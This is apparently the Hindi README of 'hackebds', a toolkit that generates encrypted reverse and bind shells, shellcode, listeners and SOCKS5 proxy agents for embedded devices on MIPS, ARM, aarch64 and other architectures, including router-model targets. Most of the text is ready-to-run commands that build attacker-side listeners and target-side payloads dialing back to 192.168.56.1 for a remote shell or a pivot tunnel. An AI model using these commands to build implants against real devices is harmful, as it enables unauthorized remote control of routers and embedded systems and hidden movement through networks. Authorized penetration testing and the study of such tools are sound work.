
यह उपकरण विभिन्न आर्किटेक्चर उपकरणों के लिए बैकडोर, शेलकोड, सॉक्स5 प्रॉक्सी जनरेशन, सूचना पुनर्प्राप्ति और POC व्यवस्था को एन्क्रिप्ट करने के लिए उपयोग किया जाता है।
hackebds एम्बेडेड-डिवाइस पेलोड जनरेशन, एन्क्रिप्टेड शेल वर्कफ़्लो, SOCKS5 प्रॉक्सी टनलिंग और डिवाइस सूचना खोज के लिए एक टूलकिट है।
वर्तमान शाखा एन्क्रिप्टेड शेल और प्रॉक्सी सुविधाओं के लिए एक शुद्ध ELF वर्कफ़्लो का उपयोग करती है:
reverse_shell_file + encrypted_shell_server / reverse_shell_serverbind_shell + bind_shell_clientreverse_proxy_file + reverse_proxy_serverforward_proxy_fileencrypted_shell_server / reverse_shell_server ELF लिसनर जोड़ा गयाbind_shell के लिए bind_shell_client ELF कनेक्टर जोड़ा गयाaes और chacha20 सिफ़र विकल्प जोड़े गएbind_shell, encrypted_shell_server, reverse_proxy_server, और forward_proxy_file के लिए -bind_ip जोड़ा गयाreverse_shell_file और reverse_proxy_file को डायल-आउट पेलोड के रूप में रखा गया: वे का उपयोग करते हैं और स्थानीय लिसनर IP बाइंड नहीं करतेpython3 -m pip install -U hackebds
स्थानीय विकास स्थापना:
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .
यदि आप किसी अन्य होस्ट पर रिलीज़ व्हील्स को पुनर्निर्मित करते हैं, तो स्रोत ज़िप और build_release.py का उपयोग करें।
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64
गैर-नेटिव ELF फ़ाइलें उत्पन्न करने से पहले लक्ष्य-आर्क बिनुटिल्स स्थापित करें।
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu
macOS उपयोगकर्ता pwntools binutils का उपयोग कर सकते हैं:
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
हमलावर पक्ष:
hackebds -arch x64 -res encrypted_shell_server \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_server.elf
chmod +x reverse_server.elf
./reverse_server.elf
लक्ष्य पक्ष:
hackebds -arch mipsel -res reverse_shell_file \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_payload.elf
chmod +x reverse_payload.elf
./reverse_payload.elf
नोट्स:
reverse_shell_file -bind_ip का समर्थन नहीं करताencrypted_shell_server -bind_ip का समर्थन करता है-cipher chacha20 को -cipher aes में बदलेंलक्ष्य पक्ष:
hackebds -arch aarch64 -res bind_shell \
-bind_port 5555 \
-bind_ip 192.168.56.20 \
-passwd "s3cr3t" \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_shell.elf
chmod +x bind_shell.elf
./bind_shell.elf
हमलावर पक्ष:
hackebds -arch x64 -res bind_shell_client \
-reverse_ip 192.168.56.20 -reverse_port 5555 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_client.elf
chmod +x bind_client.elf
./bind_client.elf
फिर दर्ज करें:
s3cr3t
id
uname -a
exit
श्रोता:
hackebds -arch x64 -res encrypted_shell_server --power \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_server.elf
./power_server.elf
पेलोड:
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_payload.elf
सर्वर:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_server.elf
chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf
एजेंट:
hackebds -arch mips64el -res reverse_proxy_file \
-reverse_ip 192.168.56.1 -reverse_port 7000 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_agent.elf
chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf
परीक्षण:
curl --socks5-hostname 127.0.0.1:1080 http://example.com/
प्रमाणीकरण-सक्षम सर्वर:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-socks_auth user:pass \
-cipher aes -encrypt_key "demo-key" \
-filename reverse_proxy_server_auth.elf
UDP नोट:
sparc / sparc64 को UDP-समर्थित नहीं माना जाना चाहिएhackebds -arch x64 -res forward_proxy_file \
-listen_port 1081 \
-bind_ip 192.168.56.1 \
-filename forward_proxy.elf
chmod +x forward_proxy.elf
./forward_proxy.elf
परीक्षण:
curl --socks5-hostname 127.0.0.1:1081 http://example.com/
hackebds -arch armelv7 -res reverse_shellcode \
-reverse_ip 192.168.56.1 -reverse_port 4444
-model का उपयोग करेंhackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
-model DIR-816 -res reverse_shell_file
--mcpu का उपयोग करेंhackebds -mcpu mips32r2 -li -arch mipsel \
-reverse_ip 127.0.0.1 -reverse_port 9999 \
-res reverse_shell_file
--firmware का उपयोग करेंhackebds --firmware ./firmware.bin
-bind_ip केवल लिसनर-साइड ELF फ़ाइलों के लिए हैreverse_shell_file और reverse_proxy_file डायल-आउट पेलोड हैं और स्थानीय लिसनर IP बाइंड नहीं करतेreverse_proxy_server और forward_proxy_file -bind_ip का समर्थन करते हैंchacha20 और aes दोनों के साथ काम करते हैं, जब तक दोनों पक्ष मेल खाते हैं-reverse_ip